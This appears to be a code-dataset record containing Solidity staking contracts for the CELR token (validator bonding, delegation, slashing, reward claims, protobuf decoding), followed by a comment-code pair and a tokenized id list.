owner or signer */ function bondValidator() external { address valAddr = msg.sender; if (signerVals[msg.sender] != address(0)) { valAddr = signerVals[msg.sender]; } dt.Validator storage validator = validators[valAddr]; require( validator.status == dt.ValidatorStatus.Unbonded || validator.status == dt.ValidatorStatus.Unbonding, "Invalid validator status" ); require(block.number >= validator.bondBlock, "Bond block not reached"); require(block.number >= nextBondBlock, "Too frequent validator bond"); nextBondBlock = block.number + params[dt.ParamName.ValidatorBondInterval]; require(hasMinRequiredTokens(valAddr, true), "Not have min tokens"); uint256 maxBondedValidators = params[dt.ParamName.MaxBondedValidators]; // if the number of validators has not reached the max_validator_num, // add validator directly if (bondedValAddrs.length < maxBondedValidators) { _bondValidator(valAddr); _decentralizationCheck(validator.tokens); return; } // if the number of validators has already reached the max_validator_num, // add validator only if its tokens is more than the current least bonded validator tokens uint256 minTokens = dt.MAX_INT; uint256 minTokensIndex; for (uint256 i = 0; i < maxBondedValidators; i++) { if (validators[bondedValAddrs[i]].tokens < minTokens) { minTokensIndex = i; minTokens = validators[bondedValAddrs[i]].tokens; if (minTokens == 0) { break; } } } require(validator.tokens > minTokens, "Insufficient tokens"); _replaceBondedValidator(valAddr, minTokensIndex); _decentralizationCheck(validator.tokens); } /** * @notice Confirm validator status from Unbonding to Unbonded * @param _valAddr the address of the validator */ function confirmUnbondedValidator(address _valAddr) external { dt.Validator storage validator = validators[_valAddr]; require(validator.status == dt.ValidatorStatus.Unbonding, "Validator not unbonding"); require(block.number >= validator.unbondBlock, "Unbond block not reached"); validator.status = dt.ValidatorStatus.Unbonded; delete validator.unbondBlock; emit ValidatorStatusUpdate(_valAddr, dt.ValidatorStatus.Unbonded); } /** * @notice Delegate CELR tokens to a validator * @dev Minimal amount per delegate operation is 1 CELR * @param _valAddr validator to delegate * @param _tokens the amount of delegated CELR tokens */ function delegate(address _valAddr, uint256 _tokens) public whenNotPaused { address delAddr = msg.sender; require(_tokens >= dt.CELR_DECIMAL, "Minimal amount is 1 CELR"); dt.Validator storage validator = validators[_valAddr]; require(validator.status != dt.ValidatorStatus.Null, "Validator is not initialized"); uint256 shares = _tokenToShare(_tokens, validator.tokens, validator.shares); dt.Delegator storage delegator = validator.delegators[delAddr]; delegator.shares += shares; validator.shares += shares; validator.tokens += _tokens; if (validator.status == dt.ValidatorStatus.Bonded) { bondedTokens += _tokens; _decentralizationCheck(validator.tokens); } CELER_TOKEN.safeTransferFrom(delAddr, address(this), _tokens); emit DelegationUpdate(_valAddr, delAddr, validator.tokens, delegator.shares, int256(_tokens)); } /** * @notice Undelegate shares from a validator * @dev Tokens are delegated by the msgSender to the validator * @param _valAddr the address of the validator * @param _shares undelegate shares */ function undelegateShares(address _valAddr, uint256 _shares) external { require(_shares >= dt.CELR_DECIMAL, "Minimal amount is 1 share"); dt.Validator storage validator = validators[_valAddr]; require(validator.status != dt.ValidatorStatus.Null, "Validator is not initialized"); uint256 tokens = _shareToToken(_shares, validator.tokens, validator.shares); _undelegate(validator, _valAddr, tokens, _shares); } /** * @notice Undelegate shares from a validator * @dev Tokens are delegated by the msgSender to the validator * @param _valAddr the address of the validator * @param _tokens undelegate tokens */ function undelegateTokens(address _valAddr, uint256 _tokens) external { require(_tokens >= dt.CELR_DECIMAL, "Minimal amount is 1 CELR"); dt.Validator storage validator = validators[_valAddr]; require(validator.status != dt.ValidatorStatus.Null, "Validator is not initialized"); uint256 shares = _tokenToShare(_tokens, validator.tokens, validator.shares); _undelegate(validator, _valAddr, _tokens, shares); } /** * @notice Complete pending undelegations from a validator * @param _valAddr the address of the validator */ function completeUndelegate(address _valAddr) external { address delAddr = msg.sender; dt.Validator storage validator = validators[_valAddr]; require(validator.status != dt.ValidatorStatus.Null, "Validator is not initialized"); dt.Delegator storage delegator = validator.delegators[delAddr]; uint256 unbondingPeriod = params[dt.ParamName.UnbondingPeriod]; bool isUnbonded = validator.status == dt.ValidatorStatus.Unbonded; // for all pending undelegations uint32 i; uint256 undelegationShares; for (i = delegator.undelegations.head; i < delegator.undelegations.tail; i++) { if (isUnbonded || delegator.undelegations.queue[i].creationBlock + unbondingPeriod <= block.number) { // complete undelegation when the validator becomes unbonded or // the unbondingPeriod for the pending undelegation is up. undelegationShares += delegator.undelegations.queue[i].shares; delete delegator.undelegations.queue[i]; continue; } break; } delegator.undelegations.head = i; require(undelegationShares > 0, "No undelegation ready to be completed"); uint256 tokens = _shareToToken(undelegationShares, validator.undelegationTokens, validator.undelegationShares); validator.undelegationShares -= undelegationShares; validator.undelegationTokens -= tokens; CELER_TOKEN.safeTransfer(delAddr, tokens); emit Undelegated(_valAddr, delAddr, tokens); } /** * @notice Update commission rate * @param _newRate new commission rate */ function updateCommissionRate(uint64 _newRate) external { address valAddr = msg.sender; dt.Validator storage validator = validators[valAddr]; require(validator.status != dt.ValidatorStatus.Null, "Validator is not initialized"); require(_newRate <= dt.COMMISSION_RATE_BASE, "Invalid new rate"); validator.commissionRate = _newRate; emit ValidatorNotice(valAddr, "commission", abi.encode(_newRate), address(0)); } /** * @notice Update minimal self delegation value * @param _minSelfDelegation minimal amount of tokens staked by the validator itself */ function updateMinSelfDelegation(uint256 _minSelfDelegation) external { address valAddr = msg.sender; dt.Validator storage validator = validators[valAddr]; require(validator.status != dt.ValidatorStatus.Null, "Validator is not initialized"); require(_minSelfDelegation >= params[dt.ParamName.MinSelfDelegation], "Insufficient min self delegation"); if (_minSelfDelegation < validator.minSelfDelegation) { require(validator.status != dt.ValidatorStatus.Bonded, "Validator is bonded"); validator.bondBlock = uint64(block.number + params[dt.ParamName.AdvanceNoticePeriod]); } validator.minSelfDelegation = _minSelfDelegation; emit ValidatorNotice(valAddr, "min-self-delegation", abi.encode(_minSelfDelegation), address(0)); } /** * @notice Slash a validator and its delegators * @param _slashRequest slash request bytes coded in protobuf * @param _sigs list of validator signatures */ function slash(bytes calldata _slashRequest, bytes[] calldata _sigs) external whenNotPaused { bytes32 domain = keccak256(abi.encodePacked(block.chainid, address(this), "Slash")); verifySignatures(abi.encodePacked(domain, _slashRequest), _sigs); PbStaking.Slash memory request = PbStaking.decSlash(_slashRequest); require(block.timestamp < request.expireTime, "Slash expired"); require(request.slashFactor <= dt.SLASH_FACTOR_DECIMAL, "Invalid slash factor"); require(request.slashFactor <= params[dt.ParamName.MaxSlashFactor], "Exceed max slash factor"); require(!slashNonces[request.nonce], "Used slash nonce"); slashNonces[request.nonce] = true; address valAddr = request.validator; dt.Validator storage validator = validators[valAddr]; require( validator.status == dt.ValidatorStatus.Bonded || validator.status == dt.ValidatorStatus.Unbonding, "Invalid validator status" ); // slash delegated tokens uint256 slashAmt = (validator.tokens * request.slashFactor) / dt.SLASH_FACTOR_DECIMAL; validator.tokens -= slashAmt; if (validator.status == dt.ValidatorStatus.Bonded) { bondedTokens -= slashAmt; if (request.jailPeriod > 0 || !hasMinRequiredTokens(valAddr, true)) { _unbondValidator(valAddr); } } if (validator.status == dt.ValidatorStatus.Unbonding && request.jailPeriod > 0) { validator.bondBlock = uint64(block.number + request.jailPeriod); } emit DelegationUpdate(valAddr, address(0), validator.tokens, 0, -int256(slashAmt)); // slash pending undelegations uint256 slashUndelegation = (validator.undelegationTokens * request.slashFactor) / dt.SLASH_FACTOR_DECIMAL; validator.undelegationTokens -= slashUndelegation; slashAmt += slashUndelegation; uint256 collectAmt; for (uint256 i = 0; i < request.collectors.length; i++) { PbStaking.AcctAmtPair memory collector = request.collectors[i]; if (collectAmt + collector.amount > slashAmt) { collector.amount = slashAmt - collectAmt; } if (collector.amount > 0) { collectAmt += collector.amount; if (collector.account == address(0)) { CELER_TOKEN.safeTransfer(msg.sender, collector.amount); emit SlashAmtCollected(msg.sender, collector.amount); } else { CELER_TOKEN.safeTransfer(collector.account, collector.amount); emit SlashAmtCollected(collector.account, collector.amount); } } } forfeiture += slashAmt - collectAmt; emit Slash(valAddr, request.nonce, slashAmt); } function collectForfeiture() external { require(forfeiture > 0, "Nothing to collect"); CELER_TOKEN.safeTransfer(rewardContract, forfeiture); forfeiture = 0; } /** * @notice Validator notice event, could be triggered by anyone */ function validatorNotice( address _valAddr, string calldata _key, bytes calldata _data ) external { dt.Validator storage validator = validators[_valAddr]; require(validator.status != dt.ValidatorStatus.Null, "Validator is not initialized"); emit ValidatorNotice(_valAddr, _key, _data, msg.sender); } function setParamValue(dt.ParamName _name, uint256 _value) external { require(msg.sender == govContract, "Caller is not gov contract"); if (_name == dt.ParamName.MaxBondedValidators) { require(bondedValAddrs.length <= _value, "invalid value"); } params[_name] = _value; } function setGovContract(address _addr) external onlyOwner { govContract = _addr; } function setRewardContract(address _addr) external onlyOwner { rewardContract = _addr; } /** * @notice Set max slash factor */ function setMaxSlashFactor(uint256 _maxSlashFactor) external onlyOwner { params[dt.ParamName.MaxSlashFactor] = _maxSlashFactor; } /** * @notice Owner drains tokens when the contract is paused * @dev emergency use only * @param _amount drained token amount */ function drainToken(uint256 _amount) external whenPaused onlyOwner { CELER_TOKEN.safeTransfer(msg.sender, _amount); } /************************** * Public View Functions * **************************/ /** * @notice Validate if a message is signed by quorum tokens * @param _msg signed message * @param _sigs list of validator signatures */ function verifySignatures(bytes memory _msg, bytes[] memory _sigs) public view returns (bool) { bytes32 hash = keccak256(_msg).toEthSignedMessageHash(); uint256 signedTokens; address prev = address(0); uint256 quorum = getQuorumTokens(); for (uint256 i = 0; i < _sigs.length; i++) { address signer = hash.recover(_sigs[i]); require(signer > prev, "Signers not in ascending order"); prev = signer; dt.Validator storage validator = validators[signerVals[signer]]; if (validator.status != dt.ValidatorStatus.Bonded) { continue; } signedTokens += validator.tokens; if (signedTokens >= quorum) { return true; } } revert("Quorum not reached"); } /** * @notice Verifies that a message is signed by a quorum among the validators. * @param _msg signed message * @param _sigs the list of signatures */ function verifySigs( bytes memory _msg, bytes[] calldata _sigs, address[] calldata, uint256[] calldata ) public view override { require(verifySignatures(_msg, _sigs), "Failed to verify sigs"); } /** * @notice Get quorum amount of tokens * @return the quorum amount */ function getQuorumTokens() public view returns (uint256) { return (bondedTokens * 2) / 3 + 1; } /** * @notice Get validator info * @param _valAddr the address of the validator * @return Validator token amount */ function getValidatorTokens(address _valAddr) public view returns (uint256) { return validators[_valAddr].tokens; } /** * @notice Get validator info * @param _valAddr the address of the validator * @return Validator status */ function getValidatorStatus(address _valAddr) public view returns (dt.ValidatorStatus) { return validators[_valAddr].status; } /** * @notice Check the given address is a validator or not * @param _addr the address to check * @return the given address is a validator or not */ function isBondedValidator(address _addr) public view returns (bool) { return validators[_addr].status == dt.ValidatorStatus.Bonded; } /** * @notice Get the number of validators * @return the number of validators */ function getValidatorNum() public view returns (uint256) { return valAddrs.length; } /** * @notice Get the number of bonded validators * @return the number of bonded validators */ function getBondedValidatorNum() public view returns (uint256) { return bondedValAddrs.length; } /** * @return addresses and token amounts of bonded validators */ function getBondedValidatorsTokens() public view returns (dt.ValidatorTokens[] memory) { dt.ValidatorTokens[] memory infos = new dt.ValidatorTokens[](bondedValAddrs.length); for (uint256 i = 0; i < bondedValAddrs.length; i++) { address valAddr = bondedValAddrs[i]; infos[i] = dt.ValidatorTokens(valAddr, validators[valAddr].tokens); } return infos; } /** * @notice Check if min token requirements are met * @param _valAddr the address of the validator * @param _checkSelfDelegation check self delegation */ function hasMinRequiredTokens(address _valAddr, bool _checkSelfDelegation) public view returns (bool) { dt.Validator storage v = validators[_valAddr]; uint256 valTokens = v.tokens; if (valTokens < params[dt.ParamName.MinValidatorTokens]) { return false; } if (_checkSelfDelegation) { uint256 selfDelegation = _shareToToken(v.delegators[_valAddr].shares, valTokens, v.shares); if (selfDelegation < v.minSelfDelegation) { return false; } } return true; } /** * @notice Get the delegator info of a specific validator * @param _valAddr the address of the validator * @param _delAddr the address of the delegator * @return DelegatorInfo from the given validator */ function getDelegatorInfo(address _valAddr, address _delAddr) public view returns (dt.DelegatorInfo memory) { dt.Validator storage validator = validators[_valAddr]; dt.Delegator storage d = validator.delegators[_delAddr]; uint256 tokens = _shareToToken(d.shares, validator.tokens, validator.shares); uint256 undelegationShares; uint256 withdrawableUndelegationShares; uint256 unbondingPeriod = params[dt.ParamName.UnbondingPeriod]; bool isUnbonded = validator.status == dt.ValidatorStatus.Unbonded; uint256 len = d.undelegations.tail - d.undelegations.head; dt.Undelegation[] memory undelegations = new dt.Undelegation[](len); for (uint256 i = 0; i < len; i++) { undelegations[i] = d.undelegations.queue[i + d.undelegations.head]; undelegationShares += undelegations[i].shares; if (isUnbonded || undelegations[i].creationBlock + unbondingPeriod <= block.number) { withdrawableUndelegationShares += undelegations[i].shares; } } uint256 undelegationTokens = _shareToToken( undelegationShares, validator.undelegationTokens, validator.undelegationShares ); uint256 withdrawableUndelegationTokens = _shareToToken( withdrawableUndelegationShares, validator.undelegationTokens, validator.undelegationShares ); return dt.DelegatorInfo( _valAddr, tokens, d.shares, undelegations, undelegationTokens, withdrawableUndelegationTokens ); } /** * @notice Get the value of a specific uint parameter * @param _name the key of this parameter * @return the value of this parameter */ function getParamValue(dt.ParamName _name) public view returns (uint256) { return params[_name]; } /********************* * Private Functions * *********************/ function _undelegate( dt.Validator storage validator, address _valAddr, uint256 _tokens, uint256 _shares ) private { address delAddr = msg.sender; dt.Delegator storage delegator = validator.delegators[delAddr]; delegator.shares -= _shares; validator.shares -= _shares; validator.tokens -= _tokens; if (validator.tokens != validator.shares && delegator.shares <= 2) { // Remove residual share caused by rounding error when total shares and tokens are not equal validator.shares -= delegator.shares; delegator.shares = 0; } require(delegator.shares == 0 || delegator.shares >= dt.CELR_DECIMAL, "not enough remaining shares"); if (validator.status == dt.ValidatorStatus.Unbonded) { CELER_TOKEN.safeTransfer(delAddr, _tokens); emit Undelegated(_valAddr, delAddr, _tokens); return; } else if (validator.status == dt.ValidatorStatus.Bonded) { bondedTokens -= _tokens; if (!hasMinRequiredTokens(_valAddr, delAddr == _valAddr)) { _unbondValidator(_valAddr); } } require( delegator.undelegations.tail - delegator.undelegations.head < dt.MAX_UNDELEGATION_ENTRIES, "Exceed max undelegation entries" ); uint256 undelegationShares = _tokenToShare(_tokens, validator.undelegationTokens, validator.undelegationShares); validator.undelegationShares += undelegationShares; validator.undelegationTokens += _tokens; dt.Undelegation storage undelegation = delegator.undelegations.queue[delegator.undelegations.tail]; undelegation.shares = undelegationShares; undelegation.creationBlock = block.number; delegator.undelegations.tail++; emit DelegationUpdate(_valAddr, delAddr, validator.tokens, delegator.shares, -int256(_tokens)); } /** * @notice Set validator to bonded * @param _valAddr the address of the validator */ function _setBondedValidator(address _valAddr) private { dt.Validator storage validator = validators[_valAddr]; validator.status = dt.ValidatorStatus.Bonded; delete validator.unbondBlock; bondedTokens += validator.tokens; emit ValidatorStatusUpdate(_valAddr, dt.ValidatorStatus.Bonded); } /** * @notice Set validator to unbonding * @param _valAddr the address of the validator */ function _setUnbondingValidator(address _valAddr) private { dt.Validator storage validator = validators[_valAddr]; validator.status = dt.ValidatorStatus.Unbonding; validator.unbondBlock = uint64(block.number + params[dt.ParamName.UnbondingPeriod]); bondedTokens -= validator.tokens; emit ValidatorStatusUpdate(_valAddr, dt.ValidatorStatus.Unbonding); } /** * @notice Bond a validator * @param _valAddr the address of the validator */ function _bondValidator(address _valAddr) private { bondedValAddrs.push(_valAddr); _setBondedValidator(_valAddr); } /** * @notice Replace a bonded validator * @param _valAddr the address of the new validator * @param _index the index of the validator to be replaced */ function _replaceBondedValidator(address _valAddr, uint256 _index) private { _setUnbondingValidator(bondedValAddrs[_index]); bondedValAddrs[_index] = _valAddr; _setBondedValidator(_valAddr); } /** * @notice Unbond a validator * @param _valAddr validator to be removed */ function _unbondValidator(address _valAddr) private { uint256 lastIndex = bondedValAddrs.length - 1; for (uint256 i = 0; i < bondedValAddrs.length; i++) { if (bondedValAddrs[i] == _valAddr) { if (i < lastIndex) { bondedValAddrs[i] = bondedValAddrs[lastIndex]; } bondedValAddrs.pop(); _setUnbondingValidator(_valAddr); return; } } revert("Not bonded validator"); } /** * @notice Check if one validator as too much power * @param _valTokens token amounts of the validator */ function _decentralizationCheck(uint256 _valTokens) private view { uint256 bondedValNum = bondedValAddrs.length; if (bondedValNum == 2 || bondedValNum == 3) { require(_valTokens < getQuorumTokens(), "Single validator should not have quorum tokens"); } else if (bondedValNum > 3) { require(_valTokens < bondedTokens / 3, "Single validator should not have 1/3 tokens"); } } /** * @notice Convert token to share */ function _tokenToShare( uint256 tokens, uint256 totalTokens, uint256 totalShares ) private pure returns (uint256) { if (totalTokens == 0) { return tokens; } return (tokens * totalShares) / totalTokens; } /** * @notice Convert share to token */ function _shareToToken( uint256 shares, uint256 totalTokens, uint256 totalShares ) private pure returns (uint256) { if (totalShares == 0) { return shares; } return (shares * totalTokens) / totalShares; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.8.9; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import {DataTypes as dt} from "./libraries/DataTypes.sol"; import "./Staking.sol"; import "./Pauser.sol"; contract StakingReward is Pauser { using SafeERC20 for IERC20; Staking public immutable staking; // recipient => CELR reward amount mapping(address => uint256) public claimedRewardAmounts; event StakingRewardClaimed(address indexed recipient, uint256 reward); event StakingRewardContributed(address indexed contributor, uint256 contribution); constructor(Staking _staking) { staking = _staking; } /** * @notice Claim reward * @dev Here we use cumulative reward to make claim process idempotent * @param _rewardRequest reward request bytes coded in protobuf * @param _sigs list of validator signatures */ function claimReward(bytes calldata _rewardRequest, bytes[] calldata _sigs) external whenNotPaused { bytes32 domain = keccak256(abi.encodePacked(block.chainid, address(this), "StakingReward")); staking.verifySignatures(abi.encodePacked(domain, _rewardRequest), _sigs); PbStaking.StakingReward memory reward = PbStaking.decStakingReward(_rewardRequest); uint256 cumulativeRewardAmount = reward.cumulativeRewardAmount; uint256 newReward = cumulativeRewardAmount - claimedRewardAmounts[reward.recipient]; require(newReward > 0, "No new reward"); claimedRewardAmounts[reward.recipient] = cumulativeRewardAmount; staking.CELER_TOKEN().safeTransfer(reward.recipient, newReward); emit StakingRewardClaimed(reward.recipient, newReward); } /** * @notice Contribute CELR tokens to the reward pool * @param _amount the amount of CELR token to contribute */ function contributeToRewardPool(uint256 _amount) external whenNotPaused { address contributor = msg.sender; IERC20(staking.CELER_TOKEN()).safeTransferFrom(contributor, address(this), _amount); emit StakingRewardContributed(contributor, _amount); } /** * @notice Owner drains CELR tokens when the contract is paused * @dev emergency use only * @param _amount drained CELR token amount */ function drainToken(uint256 _amount) external whenPaused onlyOwner { IERC20(staking.CELER_TOKEN()).safeTransfer(msg.sender, _amount); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.8.9; import "@openzeppelin/contracts/access/Ownable.sol"; abstract contract Whitelist is Ownable { mapping(address => bool) public whitelist; bool public whitelistEnabled; event WhitelistedAdded(address account); event WhitelistedRemoved(address account); modifier onlyWhitelisted() { if (whitelistEnabled) { require(isWhitelisted(msg.sender), "Caller is not whitelisted"); } _; } /** * @notice Set whitelistEnabled */ function setWhitelistEnabled(bool _whitelistEnabled) external onlyOwner { whitelistEnabled = _whitelistEnabled; } /** * @notice Add an account to whitelist */ function addWhitelisted(address account) external onlyOwner { require(!isWhitelisted(account), "Already whitelisted"); whitelist[account] = true; emit WhitelistedAdded(account); } /** * @notice Remove an account from whitelist */ function removeWhitelisted(address account) external onlyOwner { require(isWhitelisted(account), "Not whitelisted"); whitelist[account] = false; emit WhitelistedRemoved(account); } /** * @return is account whitelisted */ function isWhitelisted(address account) public view returns (bool) { return whitelist[account]; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.8.9; interface ISigsVerifier { /** * @notice Verifies that a message is signed by a quorum among the signers. * @param _msg signed message * @param _sigs list of signatures sorted by signer addresses * @param _signers sorted list of current signers * @param _powers powers of current signers */ function verifySigs( bytes memory _msg, bytes[] calldata _sigs, address[] calldata _signers, uint256[] calldata _powers ) external view; } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.8.9; library DataTypes { uint256 constant CELR_DECIMAL = 1e18; uint256 constant MAX_INT = 2**256 - 1; uint256 constant COMMISSION_RATE_BASE = 10000; // 1 commissionRate means 0.01% uint256 constant MAX_UNDELEGATION_ENTRIES = 10; uint256 constant SLASH_FACTOR_DECIMAL = 1e6; enum ValidatorStatus { Null, Unbonded, Unbonding, Bonded } enum ParamName { ProposalDeposit, VotingPeriod, UnbondingPeriod, MaxBondedValidators, MinValidatorTokens, MinSelfDelegation, AdvanceNoticePeriod, ValidatorBondInterval, MaxSlashFactor } struct Undelegation { uint256 shares; uint256 creationBlock; } struct Undelegations { mapping(uint256 => Undelegation) queue; uint32 head; uint32 tail; } struct Delegator { uint256 shares; Undelegations undelegations; } struct Validator { ValidatorStatus status; address signer; uint256 tokens; // sum of all tokens delegated to this validator uint256 shares; // sum of all delegation shares uint256 undelegationTokens; // tokens being undelegated uint256 undelegationShares; // shares of tokens being undelegated mapping(address => Delegator) delegators; uint256 minSelfDelegation; uint64 bondBlock; // cannot become bonded before this block uint64 unbondBlock; // cannot become unbonded before this block uint64 commissionRate; // equal to real commission rate * COMMISSION_RATE_BASE } // used for external view output struct ValidatorTokens { address valAddr; uint256 tokens; } // used for external view output struct ValidatorInfo { address valAddr; ValidatorStatus status; address signer; uint256 tokens; uint256 shares; uint256 minSelfDelegation; uint64 commissionRate; } // used for external view output struct DelegatorInfo { address valAddr; uint256 tokens; uint256 shares; Undelegation[] undelegations; uint256 undelegationTokens; uint256 withdrawableUndelegationTokens; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.8.9; // runtime proto sol library library Pb { enum WireType { Varint, Fixed64, LengthDelim, StartGroup, EndGroup, Fixed32 } struct Buffer { uint256 idx; // the start index of next read. when idx=b.length, we're done bytes b; // hold serialized proto msg, readonly } // create a new in-memory Buffer object from raw msg bytes function fromBytes(bytes memory raw) internal pure returns (Buffer memory buf) { buf.b = raw; buf.idx = 0; } // whether there are unread bytes function hasMore(Buffer memory buf) internal pure returns (bool) { return buf.idx < buf.b.length; } // decode current field number and wiretype function decKey(Buffer memory buf) internal pure returns (uint256 tag, WireType wiretype) { uint256 v = decVarint(buf); tag = v / 8; wiretype = WireType(v & 7); } // count tag occurrences, return an array due to no memory map support // have to create array for (maxtag+1) size. cnts[tag] = occurrences // should keep buf.idx unchanged because this is only a count function function cntTags(Buffer memory buf, uint256 maxtag) internal pure returns (uint256[] memory cnts) { uint256 originalIdx = buf.idx; cnts = new uint256[](maxtag + 1); // protobuf's tags are from 1 rather than 0 uint256 tag; WireType wire; while (hasMore(buf)) { (tag, wire) = decKey(buf); cnts[tag] += 1; skipValue(buf, wire); } buf.idx = originalIdx; } // read varint from current buf idx, move buf.idx to next read, return the int value function decVarint(Buffer memory buf) internal pure returns (uint256 v) { bytes10 tmp; // proto int is at most 10 bytes (7 bits can be used per byte) bytes memory bb = buf.b; // get buf.b mem addr to use in assembly v = buf.idx; // use v to save one additional uint variable assembly { tmp := mload(add(add(bb, 32), v)) // load 10 bytes from buf.b[buf.idx] to tmp } uint256 b; // store current byte content v = 0; // reset to 0 for return value for (uint256 i = 0; i < 10; i++) { assembly { b := byte(i, tmp) // don't use tmp[i] because it does bound check and costs extra } v |= (b & 0x7F) << (i * 7); if (b & 0x80 == 0) { buf.idx += i + 1; return v; } } revert(); // i=10, invalid varint stream } // read length delimited field and return bytes function decBytes(Buffer memory buf) internal pure returns (bytes memory b) { uint256 len = decVarint(buf); uint256 end = buf.idx + len; require(end <= buf.b.length); // avoid overflow b = new bytes(len); bytes memory bufB = buf.b; // get buf.b mem addr to use in assembly uint256 bStart; uint256 bufBStart = buf.idx; assembly { bStart := add(b, 32) bufBStart := add(add(bufB, 32), bufBStart) } for (uint256 i = 0; i < len; i += 32) { assembly { mstore(add(bStart, i), mload(add(bufBStart, i))) } } buf.idx = end; } // return packed ints function decPacked(Buffer memory buf) internal pure returns (uint256[] memory t) { uint256 len = decVarint(buf); uint256 end = buf.idx + len; require(end <= buf.b.length); // avoid overflow // array in memory must be init w/ known length // so we have to create a tmp array w/ max possible len first uint256[] memory tmp = new uint256[](len); uint256 i = 0; // count how many ints are there while (buf.idx < end) { tmp[i] = decVarint(buf); i++; } t = new uint256[](i); // init t with correct length for (uint256 j = 0; j < i; j++) { t[j] = tmp[j]; } return t; } // move idx pass current value field, to beginning of next tag or msg end function skipValue(Buffer memory buf, WireType wire) internal pure { if (wire == WireType.Varint) { decVarint(buf); } else if (wire == WireType.LengthDelim) { uint256 len = decVarint(buf); buf.idx += len; // skip len bytes value data require(buf.idx <= buf.b.length); // avoid overflow } else { revert(); } // unsupported wiretype } // type conversion help utils function _bool(uint256 x) internal pure returns (bool v) { return x != 0; } function _uint256(bytes memory b) internal pure returns (uint256 v) { require(b.length <= 32); // b's length must be smaller than or equal to 32 assembly { v := mload(add(b, 32)) } // load all 32bytes to v v = v >> (8 * (32 - b.length)); // only first b.length is valid } function _address(bytes memory b) internal pure returns (address v) { v = _addressPayable(b); } function _addressPayable(bytes memory b) internal pure returns (address payable v) { require(b.length == 20); //load 32bytes then shift right 12 bytes assembly { v := div(mload(add(b, 32)), 0x1000000000000000000000000) } } function _bytes32(bytes memory b) internal pure returns (bytes32 v) { require(b.length == 32); assembly { v := mload(add(b, 32)) } } // uint[] to uint8[] function uint8s(uint256[] memory arr) internal pure returns (uint8[] memory t) { t = new uint8[](arr.length); for (uint256 i = 0; i < t.length; i++) { t[i] = uint8(arr[i]); } } function uint32s(uint256[] memory arr) internal pure returns (uint32[] memory t) { t = new uint32[](arr.length); for (uint256 i = 0; i < t.length; i++) { t[i] = uint32(arr[i]); } } function uint64s(uint256[] memory arr) internal pure returns (uint64[] memory t) { t = new uint64[](arr.length); for (uint256 i = 0; i < t.length; i++) { t[i] = uint64(arr[i]); } } function bools(uint256[] memory arr) internal pure returns (bool[] memory t) { t = new bool[](arr.length); for (uint256 i = 0; i < t.length; i++) { t[i] = arr[i] != 0; } } } // SPDX-License-Identifier: GPL-3.0-only // Code generated by protoc-gen-sol. DO NOT EDIT. // source: contracts/libraries/proto/staking.proto pragma solidity 0.8.9; import "./Pb.sol"; library PbStaking { using Pb for Pb.Buffer; // so we can call Pb funcs on Buffer obj struct StakingReward { address recipient; // tag: 1 uint256 cumulativeRewardAmount; // tag: 2 } // end struct StakingReward function decStakingReward(bytes memory raw) internal pure returns (StakingReward memory m) { Pb.Buffer memory buf = Pb.fromBytes(raw); uint256 tag; Pb.WireType wire; while (buf.hasMore()) { (tag, wire) = buf.decKey(); if (false) {} // solidity has no switch/case else if (tag == 1) { m.recipient = Pb._address(buf.decBytes()); } else if (tag == 2) { m.cumulativeRewardAmount = Pb._uint256(buf.decBytes()); } else { buf.skipValue(wire); } // skip value of unknown tag } } // end decoder StakingReward struct Slash { address validator; // tag: 1 uint64 nonce; // tag: 2 uint64 slashFactor; // tag: 3 uint64 expireTime; // tag: 4 uint64 jailPeriod; // tag: 5 AcctAmtPair[] collectors; // tag: 6 } // end struct Slash function decSlash(bytes memory raw) internal pure returns (Slash memory m) { Pb.Buffer memory buf = Pb.fromBytes(raw); uint256[] memory cnts = buf.cntTags(6); m.collectors = new AcctAmtPair[](cnts[6]); cnts[6] = 0; // reset counter for later use uint256 tag; Pb.WireType wire; while (buf.hasMore()) { (tag, wire) = buf.decKey(); if (false) {} // solidity has no switch/case else if (tag == 1) { m.validator = Pb._address(buf.decBytes()); } else if (tag == 2) { m.nonce = uint64(buf.decVarint()); } else if (tag == 3) { m.slashFactor = uint64(buf.decVarint()); } else if (tag == 4) { m.expireTime = uint64(buf.decVarint()); } else if (tag == 5) { m.jailPeriod = uint64(buf.decVarint()); } else if (tag == 6) { m.collectors[cnts[6]] = decAcctAmtPair(buf.decBytes()); cnts[6]++; } else { buf.skipValue(wire); } // skip value of unknown tag } } // end decoder Slash struct AcctAmtPair { address account; // tag: 1 uint256 amount; // tag: 2 } // end struct AcctAmtPair function decAcctAmtPair(bytes memory raw) internal pure returns (AcctAmtPair memory m) { Pb.Buffer memory buf = Pb.fromBytes(raw); uint256 tag; Pb.WireType wire; while (buf.hasMore()) { (tag, wire) = buf.decKey(); if (false) {} // solidity has no switch/case else if (tag == 1) { m.account = Pb._address(buf.decBytes()); } else if (tag == 2) { m.amount = Pb._uint256(buf.decBytes()); } else { buf.skipValue(wire); } // skip value of unknown tag } } // end decoder AcctAmtPair }
only first b.length is valid
v = v >> (8 * (32 - b.length));
260,828
[ 1, 3700, 1122, 324, 18, 2469, 353, 923, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
